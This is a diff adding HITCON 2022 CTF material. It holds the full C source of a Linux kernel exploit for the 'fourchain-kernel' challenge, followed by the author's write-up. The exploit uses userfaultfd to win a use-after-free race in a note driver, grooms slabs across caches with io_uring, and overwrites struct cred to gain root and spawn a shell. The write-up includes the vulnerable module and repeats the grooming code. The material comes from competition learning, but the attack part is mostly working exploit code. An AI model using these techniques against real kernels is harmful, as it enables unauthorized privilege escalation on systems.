+        struct {
+            int read;
+            int write;
+        };
+        int __raw[2];
+    };
+};
+
+struct user_cap_data_struct {
+    uint32_t effective;
+    uint32_t permitted;
+    uint32_t inheritable;
+};
+
+/* cross-cache stuff */
+
+static inline int64_t cc_allocate(struct cross_cache *cc,
+                                  int64_t *repo,
+                                  uint32_t to_alloc)
+{
+    for (uint32_t i = 0; i < to_alloc; i++)
+    {
+        int64_t ref = cc->allocate();
+        if (ref == -1)
+            return -1;
+        repo[i] = ref;
+    }
+    return 0;
+}
+
+static inline int64_t cc_free(struct cross_cache *cc,
+                              int64_t *repo,
+                              uint32_t to_free,
+                              bool per_slab)
+{
+    for (uint32_t i = 0; i < to_free; i++)
+    {
+        if (per_slab && (i % (cc->objs_per_slab - 1) == 0))
+            continue;
+        else
+        {
+            if (repo[i] == -1)
+                continue;
+            cc->free(repo[i]);
+            repo[i] = -1;
+        }
+    }
+    return 0;
+}
+
+/*
+ * Reserve enough objects to later overflow the per-cpu partial list */
+static inline int64_t reserve_partial_list_amount(struct cross_cache *cc)
+{
+    uint32_t to_alloc = cc->objs_per_slab * (cc->cpu_partial + 1) * CC_OVERFLOW_FACTOR;
+    cc_allocate(cc, cc->overflow_objs, to_alloc);
+    return 0;
+}
+
+static inline int64_t allocate_victim_page(struct cross_cache *cc)
+{
+    uint32_t to_alloc = cc->objs_per_slab - 1;
+    cc_allocate(cc, cc->pre_victim_objs, to_alloc);
+    return 0;
+}
+
+static inline int64_t fill_victim_page(struct cross_cache *cc)
+{
+    uint32_t to_alloc = cc->objs_per_slab + 1;
+    cc_allocate(cc, cc->post_victim_objs, to_alloc);
+    return 0;
+}
+
+static inline int64_t empty_victim_page(struct cross_cache *cc)
+{
+    uint32_t to_free = cc->objs_per_slab - 1;
+    cc_free(cc, cc->pre_victim_objs, to_free, false);
+    to_free = cc->objs_per_slab + 1;
+    cc_free(cc, cc->post_victim_objs, to_free, false);
+    return 0;
+}
+
+static inline int64_t overflow_partial_list(struct cross_cache *cc)
+{
+    uint32_t to_free = cc->objs_per_slab * (cc->cpu_partial + 1) * CC_OVERFLOW_FACTOR;
+    cc_free(cc, cc->overflow_objs, to_free, true);
+    return 0;
+}
+
+static inline int64_t free_all(struct cross_cache *cc)
+{
+    uint32_t to_free = cc->objs_per_slab * (cc->cpu_partial + 1);
+    cc_free(cc, cc->overflow_objs, to_free, false);
+    empty_victim_page(cc);
+
+    return 0;
+}
+
+int64_t cc_next(struct cross_cache *cc)
+{
+    switch (cc->phase++)
+    {
+    case CC_RESERVE_PARTIAL_LIST:
+        return reserve_partial_list_amount(cc);
+    case CC_ALLOC_VICTIM_PAGE:
+        return allocate_victim_page(cc);
+    case CC_FILL_VICTIM_PAGE:
+        return fill_victim_page(cc);
+    case CC_EMPTY_VICTIM_PAGE:
+        return empty_victim_page(cc);
+    case CC_OVERFLOW_PARTIAL_LIST:
+        return overflow_partial_list(cc);
+    default:
+        return 0;
+    }
+}
+
+void cc_deinit(struct cross_cache *cc)
+{
+    free_all(cc);
+    free(cc->overflow_objs);
+    free(cc->pre_victim_objs);
+    free(cc->post_victim_objs);
+    free(cc);
+}
+
+struct cross_cache *cc_init(uint32_t objs_per_slab,
+                            uint32_t cpu_partial,
+                            void *allocate_fptr,
+                            void *free_fptr)
+{
+    struct cross_cache *cc = malloc(sizeof(struct cross_cache));
+    if (!cc)
+    {
+        perror("init_cross_cache:malloc\n");
+        return NULL;
+    }
+    cc->objs_per_slab = objs_per_slab;
+    cc->cpu_partial = cpu_partial;
+    cc->free = free_fptr;
+    cc->allocate = allocate_fptr;
+    cc->phase = CC_RESERVE_PARTIAL_LIST;
+
+    uint32_t n_overflow = objs_per_slab * (cpu_partial + 1) * CC_OVERFLOW_FACTOR;
+    uint32_t n_previctim = objs_per_slab - 1;
+    uint32_t n_postvictim = objs_per_slab + 1;
+
+    cc->overflow_objs = malloc(sizeof(int64_t) * n_overflow);
+    cc->pre_victim_objs = malloc(sizeof(int64_t) * n_previctim);
+    cc->post_victim_objs = malloc(sizeof(int64_t) * n_postvictim);
+
+    return cc;
+}
+
+static inline int pin_cpu(int cpu)
+{
+    cpu_set_t cpuset;
+    CPU_ZERO(&cpuset);
+    CPU_SET(cpu, &cpuset);
+    return sched_setaffinity(0, sizeof cpuset, &cpuset);
+}
+
+static int rlimit_increase(int rlimit)
+{
+    struct rlimit r;
+    if (getrlimit(rlimit, &r))
+        fatal("rlimit_increase:getrlimit");
+
+    if (r.rlim_max <= r.rlim_cur)
+    {
+        printf("[+] rlimit %d remains at %.lld", rlimit, r.rlim_cur);
+        return 0;
+    }
+    r.rlim_cur = r.rlim_max;
+    int res;
+    if (res = setrlimit(rlimit, &r))
+        fatal("rlimit_increase:setrlimit");
+    else
+        printf("[+] rlimit %d increased to %lld", rlimit, r.rlim_max);
+    return res;
+}
+
+static void note_add(const void *data, size_t size)
+{
+    struct ioctl_arg arg = {
+        .addr = (uint64_t)data,
+        .size = size,
+    };
+
+    if (ioctl(note_fd, IO_ADD, &arg) != 0)
+    {
+        fatal("add");
+    }
+}
+
+static void note_edit(int idx, const void *data)
+{
+    struct ioctl_arg arg = {
+        .idx = idx,
+        .addr = (uint64_t)data,
+    };
+
+    if (ioctl(note_fd, IO_EDIT, &arg) != 0)
+    {
+        fatal("edit");
+    }
+}
+
+static void note_show(int idx, void *data)
+{
+    struct ioctl_arg arg = {
+        .idx = idx,
+        .addr = (uint64_t)data,
+    };
+
+    if (ioctl(note_fd, IO_SHOW, &arg) < 0)
+    {
+        fatal("show");
+    }
+}
+
+static void note_del(int idx)
+{
+    struct ioctl_arg arg = {
+        .idx = idx,
+    };
+
+    if (ioctl(note_fd, IO_DEL, &arg) < 0)
+    {
+        fatal("del");
+    }
+}
+
+static void *thread_note_edit(void *addr)
+{
+    pin_cpu(0);
+    note_edit(0, addr);
+    puts("[+] note_edit() succeeded");
+}
+
+static int ufd_unblock_page_copy(void *unblock_page, void *content_page, size_t *copy_out)
+{
+    struct uffdio_copy copy = {
+        .dst = (uintptr_t)unblock_page,
+        .src = (uintptr_t)content_page,
+        .len = 0x1000,
+        .copy = (uintptr_t)copy_out,
+        .mode = 0};
+
+    printf("unblocking %p (copying 0x1000 bytes from %p)", unblock_page, content_page);
+    if (ioctl(userfault_fd, UFFDIO_COPY, &copy))
+        fatal("UFFDIO_COPY failed");
+    return 0;
+}
+
+static int sys_io_uring_setup(size_t entries, struct io_uring_params *p)
+{
+    return syscall(__NR_io_uring_setup, entries, p);
+}
+
+
+static int uring_create(size_t n_sqe, size_t n_cqe)
+{
+    struct io_uring_params p = {
+        .cq_entries = n_cqe,
+        .flags = IORING_SETUP_CQSIZE
+    };
+
+    int res = sys_io_uring_setup(n_sqe, &p);
+    if (res < 0)
+        fatal("io_uring_setup() failed");
+    return res;
+}
+
+static int alloc_n_creds(int uring_fd, size_t n_creds)
+{
+    for (size_t i = 0; i < n_creds; i++) {
+        struct __user_cap_header_struct cap_hdr = {
+            .pid = 0,
+            .version = _LINUX_CAPABILITY_VERSION_3
+        };
+
+        struct user_cap_data_struct cap_data[2] = {
+            {.effective = 0, .inheritable = 0, .permitted = 0},
+            {.effective = 0, .inheritable = 0, .permitted = 0}
+        };
+
+        /* allocate new cred */
+        if (syscall(SYS_capset, &cap_hdr, (void *)cap_data))
+            fatal("capset() failed");
+
+        /* increment refcount so we don't free it afterwards*/
+        if (syscall(SYS_io_uring_register, uring_fd, IORING_REGISTER_PERSONALITY, 0, 0) < 0)
+            fatal("io_uring_register() failed");
+    }
+}
+
+static void *userfault_thread(void *arg)
+{
+    struct uffd_msg blockers[2];
+    struct uffd_msg msg;
+    struct uffdio_copy copy;
+
+    uint64_t *scratch = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
+
+    pin_cpu(0);
+
+    for (size_t i = 0; i < 2; i++)
+    {
+        if (read(userfault_fd, &msg, sizeof(msg)) != sizeof(msg))
+        {
+            fatal("userfault read");
+        }
+        else if (msg.event != UFFD_EVENT_PAGEFAULT)
+        {
+            fatal("unexpected uffd event");
+        }
+
+        printf("[+] got userfault block %ld (addr %.16llx)\n", i, msg.arg.pagefault.address);
+        blockers[i] = msg;
+    }
+
+
+    struct pipe_pair pipes[16];
+    for (size_t i = 0; i < ARRAY_SIZE(pipes); i++)
+        pipe(pipes[i].__raw);
+
+    int uring_cred_dumps[2] = {uring_create(0x80, 0x100), uring_create(0x80, 0x100)};
+
+    cc_next(kmalloc96_cc); /* free surrounding objects*/
+    cc_next(kmalloc96_cc); /* fill up partial lists */
+
+    /* sleep for rcu*/
+    usleep(200000);
+
+    note_del(0);
+    note_add("aaa", 2);
+
+    /* Reallocate freed kmalloc-96 slab as a pipe page. */
+    uint64_t dummy_buf[0x1000 / 8] = {};
+    for (size_t i = 0; i < ARRAY_SIZE(pipes); i++)
+        if (write(pipes[i].write, dummy_buf, 0x1000) < 0)
+            fatal("write() to pipe failed");
+
+    /* unblock to trigger memcpy(). */
+    size_t copied_size = 0;
+    ufd_unblock_page_copy((void *)blockers[0].arg.pagefault.address, scratch, &copied_size);
+
+    usleep(200000);
+    uint64_t cookie = 0, cookie_idx = 0;
+    size_t pipe_idx;
+    for (pipe_idx = 0; pipe_idx < ARRAY_SIZE(pipes); pipe_idx++) {
+        /* kmalloc-96 is not naturally aligned to PAGESIZE, so we can read this all without worrying
+         * about prematurely freeing our page. */
+        for (size_t i = 0; i < 42; i++) {
+            uint64_t chunk[0x0c];
+
+            if (read(pipes[pipe_idx].read, &chunk, 96) <= 0)
+                fatal("read() from pipe failed");
+
+            uint64_t potential_cookie = chunk[0];
+
+            printf("%.16lx\n", potential_cookie);
+            if (!cookie && potential_cookie) {
+                cookie = potential_cookie;
+                cookie_idx = i;
+            }
+        }
+
+        if (cookie) {
+            break;
+        }
+    }
+
+    if (cookie) {
+
+        /* If we didn't land on a cred boundary, bail out. We'd crash anyway. */
+        if ((cookie_idx * 96) % 192 != 0) {
+            /* make the memcpy() just write into our controlled pipe page again, so no harm is done. */
+            ufd_unblock_page_copy((void *)blockers[1].arg.pagefault.address, scratch, &copied_size);
+            fatal("UaF object was not aligned to 192 bytes. Try again..");
+        }
+
+        /* Before releasing the page again, we empty the cred freelist 
+         * so any new cred allocations will get a new slab */
+        alloc_n_creds(uring_cred_dumps[0], 0x4000);
+
+        /* Release page*/
+        close(pipes[pipe_idx].read);
+        close(pipes[pipe_idx].write);
+    } else {
+        /* this error path is a bit problematic, we don't know where the write went.. 
+         * still, it's better to get the other write over with now.
+        */
+        ufd_unblock_page_copy((void *)blockers[1].arg.pagefault.address, scratch, &copied_size);
+        fatal("cross-cache failed. Try again..");
+    }
+
+    printf("pipe %ld, offset +0x%.4lx: cookie %.16lx\n", pipe_idx, cookie_idx * 96, cookie);
+
+    /* Pre-allocate struct creds to reclaim the page. 
+     * Free them immediately afterwards so we can reallocate them for tasks. */
+    alloc_n_creds(uring_cred_dumps[1], 32);
+    close(uring_cred_dumps[1]);
+
+    /* wait for rcu to finish so creds are actually freed. */
+    usleep(200000);
+
+    struct pipe_pair child_comm;
+    pipe(child_comm.__raw);
+
+    /* realloc creds, now belong to child tasks */
+    for (size_t i = 0; i < 32 * 2; i++) {
+        
+        if (fork())
+            continue;
+        
+        sleep(2);
+        uid_t uid = getuid();
+        printf("uid: %d\n", uid);
+        if (!uid) {
+            char dummy[8];
+            write(child_comm.write, &dummy, sizeof dummy);
+            system("sh");
+        }
+
+        exit(0);
+        
+    }
+
+    sleep(1);
+
+    struct kernel_cred *cred = (void*)scratch;
+
+    cred->usage = 1;
+    cred->uid = cred->euid = cred->fsuid = 0;
+    cred->gid = cred->egid = cred->fsgid = 0;
+    cred->securebits = 0; /* SECUREBITS_DEFAULT */
+    cred->cap_effective = cred->cap_permitted = cred->cap_inheritable = cred->cap_bset = 0x1fffffffful;
+    cred->cap_ambient = 0;
+
+    for (size_t i = 0; i < 96 / 8; i++)
+        scratch[i] ^= cookie;
+
+    ufd_unblock_page_copy((void *)blockers[1].arg.pagefault.address, scratch, &copied_size);
+
+    struct pollfd poller[] = { {.events = POLLIN, .fd = child_comm.read}};
+
+    if (poll(poller, 1, 3000) != 1)
+        fatal("Could not overwrite struct cred. Try again..");
+
+    sleep(10000);
+    return NULL;
+}
+
+// Initialize userfaultfd. Must call this before using the other userfault_*
+// functions.
+static void userfaultfd_init()
+{
+    for (size_t i = 0; i < 2; i++)
+    {
+        userfault_fd = syscall(SYS_userfaultfd, O_CLOEXEC);
+        if (userfault_fd < 0)
+        {
+            fatal("userfaultfd");
+        }
+
+        userfault_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
+        if (userfault_page == MAP_FAILED)
+        {
+            fatal("mmap userfaultfd");
+        }
+
+        // Enable userfaultfd
+        struct uffdio_api api = {
+            .api = UFFD_API,
+            .features = 0,
+        };
+        if (ioctl(userfault_fd, UFFDIO_API, &api) < 0)
+        {
+            fatal("ioctl(UFFDIO_API)");
+        }
+    }
+
+    pthread_create(&userfault_pthread, NULL, userfault_thread, NULL);
+
+    puts("userfaultfd initialized");
+}
+
+// Register a region with userfaultfd and make it inaccessible. The region must
+// be page-aligned and the size must be a multiple of the page size.
+static void userfaultfd_register(void *addr, size_t len)
+{
+    assert(((uintptr_t)addr % 0x1000) == 0);
+    assert(len >= 0x1000 && len % 0x1000 == 0);
+
+    struct uffdio_register reg = {
+        .range = {
+            .start = (uintptr_t)addr,
+            .len = len,
+        },
+        .mode = UFFDIO_REGISTER_MODE_MISSING,
+    };
+    if (ioctl(userfault_fd, UFFDIO_REGISTER, &reg) < 0)
+    {
+        fatal("ioctl(UFFDIO_REGISTER)");
+    }
+}
+
+#define OBJS_PER_SLAB 32
+#define CPU_PARTIAL 30
+
+
+int uring_spray_fd;
+
+static int64_t cc_alloc_kmalloc96()
+{
+    /* This will allocate a io uring identity in kmalloc-96. It can be repeated an arbitrary amount of times for a single uring instance. */
+    int res = syscall(SYS_io_uring_register, uring_spray_fd, IORING_REGISTER_PERSONALITY, 0, 0);
+    if (res < 0)
+        fatal("alloc: io_uring_register() failed");
+    
+    return res;
+}
+
+static void cc_free_kmalloc96(int64_t personality)
+{
+    if (syscall(SYS_io_uring_register, uring_spray_fd, IORING_UNREGISTER_PERSONALITY, 0, personality) < 0)
+        fatal("free: io_uring_register() failed");
+}
+
+int main(void)
+{
+    pthread_t edit_thread;
+
+    pin_cpu(0);
+    rlimit_increase(RLIMIT_NOFILE);
+
+    if ((note_fd = open("/dev/note2", O_RDWR)) < 0)
+        fatal("Failed to open note fd");
+
+    /* Free any remaining notes from a previous attempt. */
+    for (size_t i = 0; i < 0x10; i++) {
+        struct ioctl_arg arg = { .idx = i};
+        ioctl(note_fd, IO_DEL, &arg);
+    }
+
+
+    userfaultfd_init();
+
+    uint8_t *mem = mmap(NULL, 0x3000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
+    if (mem == MAP_FAILED)
+    {
+        fatal("mmap fault memory");
+    }
+
+    uring_spray_fd = uring_create(0x80, 0x100);
+    kmalloc96_cc = cc_init(OBJS_PER_SLAB, CPU_PARTIAL, cc_alloc_kmalloc96, cc_free_kmalloc96);
+
+    userfaultfd_register(mem + 0x1000, 0x2000);
+
+    /* allocate a bunch of kmalloc96 objects, so the next one we allocate will fall into our "victim page" */
+    cc_next(kmalloc96_cc);
+    cc_next(kmalloc96_cc);
+    note_add(mem, 96);
+
+    /* also fill up the victim page */
+    cc_next(kmalloc96_cc);
+
+    pthread_create(&edit_thread, NULL, thread_note_edit, mem + 0x1000);
+    usleep(20000);
+    note_edit(0, mem + 0x2000);
+    puts("done");
+    sleep(1000000);
+}
+
+ +

Table of Contents

+ + + + + + + + +
+
+
+ + + + + + +
+ + diff --git a/HITCON-2022/pwn/fourchain-kernel.md b/HITCON-2022/pwn/fourchain-kernel.md new file mode 100755 index 0000000..14885f3 --- /dev/null +++ b/HITCON-2022/pwn/fourchain-kernel.md @@ -0,0 +1,1638 @@ +## Fourchain - Kernel + +**Authors**: [pql](https://twitter.com/pqlqpql) + +**Tags**: pwn, kernel + +**Points**: 321 + +> It's more krazy in the kernel... +> +> ssh -p 54321 knote@35.238.182.189 +> password: knote +> +> Resources are limited, please work on local first. +> +> kernel-39fb8300c4181886fecd27bf4333b58348faf279.zip +> +> Author: Billy + + +This year's HITCON CTF was a lot of fun! Sadly, I could only play during the second half, but I managed to solve a few challenges, including `fourchain-kernel`. + +This challenge was the third part in the chain: after pwning the renderer process and breaking out of the chromium sandbox, we're now tasked with getting kernel privileges. + +Like all parts of the fullchain, this was a separate challenge on which you could earn points without completing any other part of the chain. + +--- + +The challenge follows a pretty standard Linux kernel CTF setup: we're provided a `bzImage` and the source code of a module that registers a character device, presumably with some vulnerability we have to exploit. Generally, these types of challenges are more about the exploitation than about the vulnerability research, so let's see what stands out: + + +```c +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define IOC_MAGIC '\xFF' + +#define IO_ADD _IOWR(IOC_MAGIC, 0, struct ioctl_arg) +#define IO_EDIT _IOWR(IOC_MAGIC, 1, struct ioctl_arg) +#define IO_SHOW _IOWR(IOC_MAGIC, 2, struct ioctl_arg) +#define IO_DEL _IOWR(IOC_MAGIC, 3, struct ioctl_arg) + +struct ioctl_arg +{ + uint64_t idx; + uint64_t size; + uint64_t addr; +}; + +struct node +{ + uint64_t key; + uint64_t size; + uint64_t addr; +}; + +static struct node *table[0x10]; +static int drv_open(struct inode *inode, struct file *filp); +static long drv_unlocked_ioctl(struct file *filp, unsigned int cmd, unsigned long arg); + + +static struct file_operations drv_fops = { + open : drv_open, + unlocked_ioctl : drv_unlocked_ioctl +}; + + +static struct miscdevice note_miscdev = { + .minor = 11, + .name = "note2", + .fops = &drv_fops, + .mode = 0666, +}; + +static int drv_open(struct inode *inode, struct file *filp){ + return 0; +} + + +static long drv_unlocked_ioctl(struct file *filp, unsigned int cmd, unsigned long arg){ + int ret = 0; + int i = 0; + uint64_t buf[0x200 / 8]; + uint64_t addr = 0; + uint64_t size = 0; + struct ioctl_arg data; + + memset(&data, 0, sizeof(data)); + memset(buf, 0, sizeof(buf)); + + if (copy_from_user(&data, (struct ioctl_arg __user *)arg, sizeof(data))){ + ret = -EFAULT; + goto done; + } + + data.idx &= 0xf; + data.size &= 0x1ff; + + switch (cmd) { + case IO_ADD: { + data.idx = -1; + for (i = 0; i < 0x10; i++){ + if (!table[i]) { + data.idx = i; + break; + } + } + + if (data.idx == -1){ + ret = -ENOMEM; + goto done; + } + table[data.idx] = (struct node*)kzalloc(sizeof(struct node), GFP_KERNEL); + table[data.idx]->size = data.size; + get_random_bytes(&table[data.idx]->key, sizeof(table[data.idx]->key)); + + addr = (uint64_t)kzalloc(data.size, GFP_KERNEL); + ret = copy_from_user(buf, (void __user *)data.addr, data.size); + + for (i = 0; i * 8 < data.size; i++) + buf[i] ^= table[data.idx]->key; + memcpy((void*)addr,(void*)buf,data.size); + table[data.idx]->addr = addr ^ table[data.idx]->key; + } break; + case IO_EDIT: { + if (table[data.idx]) { + addr = table[data.idx]->addr ^ table[data.idx]->key; + size = table[data.idx]->size & 0x1ff; + ret = copy_from_user(buf, (void __user *)data.addr, size); + + for(i = 0; i * 8 < size; i++) + buf[i] ^= table[data.idx]->key; + memcpy((void*)addr, buf, size); + } + } break; + case IO_SHOW: { + if(table[data.idx]) { + addr = table[data.idx]->addr ^ table[data.idx]->key; + size = table[data.idx]->size & 0x1ff; + memcpy(buf, (void*)addr,size); + + for (i = 0; i * 8 < size; i++) + buf[i] ^= table[data.idx]->key; + ret = copy_to_user((void __user *)data.addr, buf, size); + } + } break; + case IO_DEL: { + if(table[data.idx]) { + addr = table[data.idx]->addr ^ table[data.idx]->key; + kfree((void*)addr); + kfree(table[data.idx]); + table[data.idx] = 0; + } + } break; + default: + ret = -ENOTTY; + break; + } + + done: + return ret; +} + + +static int note_init(void){ + return misc_register(¬e_miscdev); +} + +static void note_exit(void){ + misc_deregister(¬e_miscdev); +} + +module_init(note_init); +module_exit(note_exit); + +MODULE_LICENSE("GPL"); +MODULE_DESCRIPTION("Secret Note v2"); +``` + +The character device can store up to sixteen (global) "secret notes" that are "encrypted", each with their own xor key that is generated upon creation. The notes are stored in the global `table` array, which consists of `struct node` pointers - each containing a random `key`, the `size` of the contents, and an `addr` that once XORed with `key` points to the contents (a buffer that was dynamically allocated with `kzalloc`.) Note that the contents themselves are XORed with `key` as well, and that `size` is limited of 0x1ff. + +The following ioctls are available: + +- `IO_ADD` - Create a new note, with contents of a certain size. Returns us the index of the note. +- `IO_EDIT` - Given such an index, replaces the contents of the corresponding note. +- `IO_SHOW` - Given such an index, copies the contents to a buffer in user memory. +- `IO_DEL` - Given such an index, destroys and removes the note and frees up the index for future use. + +The vulnerability is pretty clear: there is no attempt at all to serialize the state transitions with e.g. a lock. For example, if an `IO_DEL` request is issued in parallel with an `IO_EDIT` request - the latter might end up writing to a buffer that was already `kfree()`-d. + +On first sight, it might look like the race window is very small, but the `copy_from_user()` call in the `IO_EDIT` path gives us an easy way out: this call will block if it triggers a page fault whilst trying to read user memory. This extends the race window, so we have a chance to reallocate the buffer we freed with `IO_DEL` + +The provided kernel also gives unprivileged users access to `userfaultfd`, so we can handle page faults in usermode and make them block indefinitely. This is very nice, because now we don't even have to hit a race window anymore - the serialization of the operations is totally up to us. + +As a sidenote, generally userfaultfd is not enabled in the "real world". On systems without userfaultfd, it's sometimes possible to get an equivalent primitive using a FUSE handler and `mmap()`. If that's also not a possibility, massaging the surrounding state of an existing regular page fault handler to make it take as long as possible is your best bet. + +--- + +We want to get more or less the following sequence: + +1. Allocate a note with idx `i`. +2. Issue an `IO_EDIT` request for `i`, with an address pointing to a page we registered with userfaultfd. + - We'll receive a notification through the userfaultfd and can stall the page fault as long as we want. +3. Issue an `IO_DEL` request for `i` to free its `struct node` and backing buffer. +4. Reallocate the backing buffer to something juicy. +5. Unblock the pending page fault through userfaultfd, by faulting in a page with our desired payload. + - The `IO_EDIT` request will resume and copy our payload to said juicy something. + +An obvious contender for the juicy object competition is `struct cred` - if the cred is already relative to the root user namespace (`&init_user_ns`), we can just overwrite all the -id fields to `0` and the cap- fields to `0x1ffffffff` (full capabilities) to gain root privileges. + +```c +struct cred { + atomic_t usage; + kuid_t uid; /* real UID of the task */ + kgid_t gid; /* real GID of the task */ + kuid_t suid; /* saved UID of the task */ + kgid_t sgid; /* saved GID of the task */ + kuid_t euid; /* effective UID of the task */ + kgid_t egid; /* effective GID of the task */ + kuid_t fsuid; /* UID for VFS ops */ + kgid_t fsgid; /* GID for VFS ops */ + unsigned securebits; /* SUID-less security management */ + kernel_cap_t cap_inheritable; /* caps our children can inherit */ + kernel_cap_t cap_permitted; /* caps we're permitted */ + kernel_cap_t cap_effective; /* caps we can actually use */ + kernel_cap_t cap_bset; /* capability bounding set */ + kernel_cap_t cap_ambient; /* Ambient capability set */ + //[...] +} +``` + +The standalone challenge only requires us to read/write the flag file in `/root`, so only overwriting `uid` or `fsid` would be enough already. However, for the full chain we want to be able to load a kernel module to pwn the hypervisor, and we'll need the `CAP_SYS_MODULE` capability for that. + +Apart from being a nice excercise, making the exploit reliable is also a priority here. Every failed full chain attempt on the remote would set us back about 10 minutes due to reboot times and such. + +I deliberately did not attempt to get instruction pointer control at any point here. It's often a very unelegant solution - getting the kernel thread to return from the syscall gracefully is a pain, you need a leak, it creates a dependency on the offsets of the target kernel and in real world scenarios you also break a lot of state (deadlocks, etc.). Some creative spraying and targeting the right allocations goes a long way. + +I ended up going with a "two-stage" approach, with two `IO_EDIT` requests (E1, E2) for the same note blocking with userfaultfd. + +The note N that we're going to target will have a backing allocation A allocated in `kmalloc-96`. This is important because `struct cred` its cache has 192-byte objects, so if we reallocate A as a `struct cred` eventually, there is a nice 50% chance that the object is aligned to the beginning of the cred. Using a `kmalloc-192` object would be a 100% chance, but that would have required us to overwrite at least 128 bytes of the cred and thus corrupted pointers like `cred->user_ns`, and we don't have a leak to succesfully fake that. + +We'll exploit this as follows: + +1. Submit `IO_EDIT` E1 for N, block on `data.addr` access. +1. Submit `IO_EDIT` E2 for N, block on `data.addr` access as well (on a different page). +1. Submit `IO_DEL` for N, which will free A and N. +1. Reallocate A as something that we can read from later (A'). +1. Submit `IO_ADD` to create a new note (N'). + - This is needed because otherwise the `table[data.idx]->key` read in the `IO_EDIT` path will crash because `table[data.idx]` is reset to `NULL`. +1. Use the userfaultfd to fault in a page filled with zero bytes to unblock E1. + - The `IO_EDIT` path of E1 will resume and XOR the new `table[data.idx]->key` with zero, resulting in... the key! +1. Read from A' to leak the key. +1. Free A' again and reallocate it as a`struct cred` that is used for a child process. +1. Use the userfaultfd to fault in a page that contains a fake (partial) `struct cred`, XORed with the key we just leaked. + - The `IO_EDIT` path of E2 will resume and overwrite (part of) the `struct cred` with our fake version, giving it full root privileges! +1. Use the root privs to do nefarious things like loading a kernel module to exploit the hypervisor. + + +*Note bene: you can skip the whole two-stage approach and key leak if you make a single `IO_EDIT` fault twice in `copy_from_user`. This will write your contents to the target directly without performing the XOR afterwards. It also would enable us to use a kmalloc-192 object. I didn't think of this during the CTF ://* + +Ok... easier said than done of course! There's a few things we have to figure out: let's start with how we're going to reallocate A -> A' (original backing buffer -> "something we can read from"). + +I ended up skipping same cache shenanigans, and released the slab that A resides on to the page allocator directly. We're going to need to do this anyway to reallocate A as (part of) a `struct cred`, so why not do it now? After we've done this, we can trivially reallocate it as e.g. the backing of a pipe, which we can read from. Note the `alloc_page()` call in `pipe_write()`: + + +```c +static ssize_t +pipe_write(struct kiocb *iocb, struct iov_iter *from) +{ + //[...] + for (;;) { + if (!pipe->readers) { + send_sig(SIGPIPE, current, 0); + if (!ret) + ret = -EPIPE; + break; + } + + head = pipe->head; + if (!pipe_full(head, pipe->tail, pipe->max_usage)) { + unsigned int mask = pipe->ring_size - 1; + struct pipe_buffer *buf = &pipe->bufs[head & mask]; + struct page *page = pipe->tmp_page; + int copied; + + if (!page) { + page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT); + if (unlikely(!page)) { + ret = ret ? : -ENOMEM; + break; + } + pipe->tmp_page = page; + } + //[...] + } + //[...] + } + //[...] +} +``` + +To succesfully release the order 0 slab that A resides on to the page allocator again, we'll have to trick the SLUB allocator a bit. Even if all objects on a given slab are freed, this does not automatically free the slab to the page allocator. First, SLUB tries to put the slab on a so called *per-cpu partial list*, so that it can be reused for other allocations in the same cache. The underlying thought is that keeping the pages cached for a bit will save latency for future allocations in that cache, because issuing a new slab will only require taking it from the per-cpu partial list vs. a relatively expensive call into the page allocator. + +Of course it wouldn't be ideal if all these pages allocated for slabs could never be reused anywhere else again, so the partial list its capacity is bounded. This capacity can be found by reading `/sys/kernel/slab/$yourslab/cpu_partial` as root. For the challenge, `kmalloc-96` its cpu_partial was set to 30 slabs. + +If the partial list is already full, a slab that has no active objects anymore *will* be released back to the page allocator, which is exactly what we want. So we'll have to fill the partial list up with a bunch of junk slabs first. + + +For a more detailed description, I would recommend reading [this section of the CVE-2022-29582 writeup I worked on](https://ruia-ruia.github.io/2022/08/05/CVE-2022-29582-io-uring/#crossing-the-cache-boundary). + +Generally all the grooming to release a slab to the page allocator can be abstracted quite neatly. It ended up looking like this (mostly lifted from the `CVE-2022-29582` exploit as well): + +```c + +#define OBJS_PER_SLAB 32 +#define CPU_PARTIAL 30 + +#define CC_OVERFLOW_FACTOR 8 + +static inline int64_t cc_allocate(struct cross_cache *cc, + int64_t *repo, + uint32_t to_alloc) +{ + for (uint32_t i = 0; i < to_alloc; i++) + { + int64_t ref = cc->allocate(); + if (ref == -1) + return -1; + repo[i] = ref; + } + return 0; +} + +static inline int64_t cc_free(struct cross_cache *cc, + int64_t *repo, + uint32_t to_free, + bool per_slab) +{ + for (uint32_t i = 0; i < to_free; i++) + { + if (per_slab && (i % (cc->objs_per_slab - 1) == 0)) + continue; + else + { + if (repo[i] == -1) + continue; + cc->free(repo[i]); + repo[i] = -1; + } + } + return 0; +} + +/* + * Reserve enough objects to later overflow the per-cpu partial list */ +static inline int64_t reserve_partial_list_amount(struct cross_cache *cc) +{ + uint32_t to_alloc = cc->objs_per_slab * (cc->cpu_partial + 1) * CC_OVERFLOW_FACTOR; + cc_allocate(cc, cc->overflow_objs, to_alloc); + return 0; +} + +static inline int64_t allocate_victim_page(struct cross_cache *cc) +{ + uint32_t to_alloc = cc->objs_per_slab - 1; + cc_allocate(cc, cc->pre_victim_objs, to_alloc); + return 0; +} + +static inline int64_t fill_victim_page(struct cross_cache *cc) +{ + uint32_t to_alloc = cc->objs_per_slab + 1; + cc_allocate(cc, cc->post_victim_objs, to_alloc); + return 0; +} + +static inline int64_t empty_victim_page(struct cross_cache *cc) +{ + uint32_t to_free = cc->objs_per_slab - 1; + cc_free(cc, cc->pre_victim_objs, to_free, false); + to_free = cc->objs_per_slab + 1; + cc_free(cc, cc->post_victim_objs, to_free, false); + return 0; +} + +static inline int64_t overflow_partial_list(struct cross_cache *cc) +{ + uint32_t to_free = cc->objs_per_slab * (cc->cpu_partial + 1) * CC_OVERFLOW_FACTOR; + cc_free(cc, cc->overflow_objs, to_free, true); + return 0; +} + +static inline int64_t free_all(struct cross_cache *cc) +{ + uint32_t to_free = cc->objs_per_slab * (cc->cpu_partial + 1); + cc_free(cc, cc->overflow_objs, to_free, false); + empty_victim_page(cc); + + return 0; +} + +int64_t cc_next(struct cross_cache *cc) +{ + switch (cc->phase++) + { + case CC_RESERVE_PARTIAL_LIST: + return reserve_partial_list_amount(cc); + case CC_ALLOC_VICTIM_PAGE: + return allocate_victim_page(cc); + 